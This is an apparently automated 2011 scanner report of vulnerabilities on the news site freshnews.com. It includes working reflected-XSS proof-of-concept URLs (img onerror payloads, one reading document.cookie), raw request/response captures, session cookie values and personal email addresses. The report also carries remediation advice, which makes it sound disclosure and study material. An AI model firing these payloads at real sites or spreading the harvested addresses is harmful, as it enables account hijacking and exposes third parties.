XSS, Cross Site Scriping, freshnews.com, CWE-79, CAPEC-86

XSS in freshnews.com | Vulnerability Crawler Report

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Sun Jan 09 07:20:11 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

4. Cross-domain script include

4.1. http://www.freshnews.com/news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc-

4.2. http://www.freshnews.com/news/3881925a24d%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E29cb609e200/a

5. Email addresses disclosed



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.freshnews.com
Path:   /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc-

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a24d"><img%20src%3da%20onerror%3dalert(1)>29cb609e200 was submitted in the REST URL parameter 2. This input was echoed as 5a24d"><img src=a onerror=alert(1)>29cb609e200 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /news/3881925a24d"><img%20src%3da%20onerror%3dalert(1)>29cb609e200/peanut-labs-inc-announces-acquisition-e-rewards-inc- HTTP/1.1
Host: www.freshnews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 05:19:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Set-Cookie: SESSdcb5af41d343fdd786908e4442f98f39=91rc3s8ulbvqetmeddh6fkmtr6; expires=Tue, 01-Feb-2011 08:52:25 GMT; path=/; domain=.freshnews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 05:19:05 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34913

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


...[SNIP]...
<a href="/news/3881925a24d"><img src=a onerror=alert(1)>29cb609e200/article-435118.html">
...[SNIP]...

2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.freshnews.com
Path:   /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc-

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc- HTTP/1.1
Host: www.freshnews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 05:18:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Set-Cookie: SESSdcb5af41d343fdd786908e4442f98f39=dpp7pp1blldcdp337o15850h97; expires=Tue, 01-Feb-2011 08:52:02 GMT; path=/; domain=.freshnews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 05:18:42 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20877

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.freshnews.com
Path:   /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc-

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc- HTTP/1.1
Host: www.freshnews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 05:18:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Set-Cookie: SESSdcb5af41d343fdd786908e4442f98f39=dpp7pp1blldcdp337o15850h97; expires=Tue, 01-Feb-2011 08:52:02 GMT; path=/; domain=.freshnews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 05:18:42 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20877

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


...[SNIP]...

4. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.freshnews.com/news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc-  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.freshnews.com
Path:   /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc-

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc- HTTP/1.1
Host: www.freshnews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 05:18:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Set-Cookie: SESSdcb5af41d343fdd786908e4442f98f39=dpp7pp1blldcdp337o15850h97; expires=Tue, 01-Feb-2011 08:52:02 GMT; path=/; domain=.freshnews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 05:18:42 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20877

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...

4.2. http://www.freshnews.com/news/3881925a24d%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E29cb609e200/a  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.freshnews.com
Path:   /news/3881925a24d%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E29cb609e200/a

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /news/3881925a24d%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E29cb609e200/a HTTP/1.1
Host: www.freshnews.com
Proxy-Connection: keep-alive
Referer: http://www.freshnews.com/news/3881925a24d%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E29cb609e200/peanut-labs-inc-announces-acquisition-e-rewards-inc-
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESSdcb5af41d343fdd786908e4442f98f39=nnfadp4j385gfubjm96r194ob6

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 13:23:31 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 13:23:31 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 34818

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...

5. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.freshnews.com
Path:   /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc-

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /news/388192/peanut-labs-inc-announces-acquisition-e-rewards-inc- HTTP/1.1
Host: www.freshnews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 05:18:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
Set-Cookie: SESSdcb5af41d343fdd786908e4442f98f39=dpp7pp1blldcdp337o15850h97; expires=Tue, 01-Feb-2011 08:52:02 GMT; path=/; domain=.freshnews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 09 Jan 2011 05:18:42 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20877

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


...[SNIP]...
<a href="mailto:jonathanc@spiralgroup.com">jonathanc@spiralgroup.com</a>
...[SNIP]...
<a href="mailto:aharlan@e-rewards.com">aharlan@e-rewards.com</a>
...[SNIP]...

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Sun Jan 09 07:20:11 CST 2011.